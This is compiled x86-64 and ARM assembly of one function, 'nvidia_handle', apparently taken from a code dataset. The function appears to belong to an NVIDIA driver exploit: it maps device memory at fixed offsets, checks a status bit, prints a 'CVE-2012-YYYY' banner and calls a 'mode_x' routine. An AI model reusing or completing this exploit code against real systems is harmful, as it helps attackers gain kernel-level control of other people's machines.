	.file	"extr_20201.c_nvidia_handle.c"
	.intel_syntax noprefix
	.text
	.section	.rodata.str1.1,"aMS",@progbits,1
.LC0:
	.string	"[*] CVE-2012-YYYY\n"
	.text
	.p2align 4
	.globl	nvidia_handle
	.type	nvidia_handle, @function
nvidia_handle:
.LFB0:
	.cfi_startproc
	endbr64
	push	r12
	.cfi_def_cfa_offset 16
	.cfi_offset 12, -16
	mov	r12, QWORD PTR MAP_FAILED[rip]
	push	rbp
	.cfi_def_cfa_offset 24
	.cfi_offset 6, -24
	push	rbx
	.cfi_def_cfa_offset 32
	.cfi_offset 3, -32
	test	edi, edi
	js	.L1
	mov	ecx, DWORD PTR MAP_SHARED[rip]
	mov	r8d, edi
	mov	ebx, edi
	mov	rbp, rsi
	mov	edx, DWORD PTR PROT_READ[rip]
	lea	r9, 6393856[rsi]
	xor	edi, edi
	or	edx, DWORD PTR PROT_WRITE[rip]
	mov	esi, 4096
	call	mmap@PLT
	mov	r12, QWORD PTR MAP_FAILED[rip]
	mov	QWORD PTR cve_2012_YYYY[rip], rax
	mov	rdi, rax
	cmp	rax, r12
	je	.L1
	mov	eax, DWORD PTR 3840[rax]
	test	al, 8
	je	.L4
	mov	ecx, DWORD PTR MAP_SHARED[rip]
	xor	edi, edi
	mov	r8d, ebx
	mov	esi, 65536
	mov	edx, DWORD PTR PROT_READ[rip]
	lea	r9, 655360[rbp]
	or	edx, DWORD PTR PROT_WRITE[rip]
	call	mmap@PLT
	cmp	QWORD PTR MAP_FAILED[rip], rax
	mov	rdi, QWORD PTR cve_2012_YYYY[rip]
	mov	r12, rax
	jne	.L11
.L4:
	mov	esi, 4096
	call	munmap@PLT
	mov	r12, QWORD PTR MAP_FAILED[rip]
	mov	QWORD PTR cve_2012_YYYY[rip], r12
.L1:
	mov	rax, r12
	pop	rbx
	.cfi_remember_state
	.cfi_def_cfa_offset 24
	pop	rbp
	.cfi_def_cfa_offset 16
	pop	r12
	.cfi_def_cfa_offset 8
	ret
	.p2align 4,,10
	.p2align 3
.L11:
	.cfi_restore_state
	lea	rdi, .LC0[rip]
	call	printf@PLT
	mov	rdi, QWORD PTR cve_2012_YYYY[rip]
	call	mode_x@PLT
	jmp	.L1
	.cfi_endproc
.LFE0:
	.size	nvidia_handle, .-nvidia_handle
	.comm	cve_2012_YYYY,8,8
	.comm	PROT_WRITE,4,4
	.comm	PROT_READ,4,4
	.comm	MAP_SHARED,4,4
	.comm	MAP_FAILED,8,8
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 2
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"extr_20201.c_nvidia_handle.c"
	.text
	.section	.rodata.str1.4,"aMS",%progbits,1
	.align	2
.LC0:
	.ascii	"[*] CVE-2012-YYYY\012\000"
	.text
	.align	2
	.global	nvidia_handle
	.syntax unified
	.arm
	.fpu softvfp
	.type	nvidia_handle, %function
nvidia_handle:
	@ args = 0, pretend = 0, frame = 0
	@ frame_needed = 0, uses_anonymous_args = 0
	push	{r4, r5, r6, r7, r8, r9, r10, fp, lr}
	subs	r4, r0, #0
	sub	sp, sp, #12
	blt	.L11
	mov	r5, r1
	ldr	fp, .L12
	ldr	r10, .L12+4
	ldr	r1, [fp]
	ldr	r2, [r10]
	ldr	r9, .L12+8
	add	r3, r5, #6356992
	add	r3, r3, #36864
	orr	r2, r1, r2
	str	r3, [sp, #4]
	mov	r1, #4096
	mov	r0, #0
	ldr	r3, [r9]
	str	r4, [sp]
	bl	mmap
	ldr	r8, .L12+12
	ldr	r7, .L12+16
	ldr	r6, [r8]
	str	r0, [r7]
	cmp	r0, r6
	beq	.L1
	ldr	r3, [r0, #3840]
	tst	r3, #8
	beq	.L4
	ldr	r3, [r10]
	ldr	r2, [fp]
	add	r5, r5, #655360
	orr	r2, r2, r3
	mov	r1, #65536
	ldr	r3, [r9]
	mov	r0, #0
	stm	sp, {r4, r5}
	bl	mmap
	ldr	r3, [r8]
	mov	r6, r0
	cmp	r3, r0
	bne	.L5
	ldr	r0, [r7]
.L4:
	mov	r1, #4096
	bl	munmap
	ldr	r6, [r8]
	str	r6, [r7]
.L1:
	mov	r0, r6
	add	sp, sp, #12
	@ sp needed
	pop	{r4, r5, r6, r7, r8, r9, r10, fp, pc}
.L11:
	ldr	r3, .L12+12
	ldr	r6, [r3]
	mov	r0, r6
	add	sp, sp, #12
	@ sp needed
	pop	{r4, r5, r6, r7, r8, r9, r10, fp, pc}
.L5:
	ldr	r0, .L12+20
	bl	printf
	ldr	r0, [r7]
	bl	mode_x
	b	.L1
.L13:
	.align	2
.L12:
	.word	PROT_READ
	.word	PROT_WRITE
	.word	MAP_SHARED
	.word	MAP_FAILED
	.word	cve_2012_YYYY
	.word	.LC0
	.size	nvidia_handle, .-nvidia_handle
	.comm	cve_2012_YYYY,4,4
	.comm	PROT_WRITE,4,4
	.comm	PROT_READ,4,4
	.comm	MAP_SHARED,4,4
	.comm	MAP_FAILED,4,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
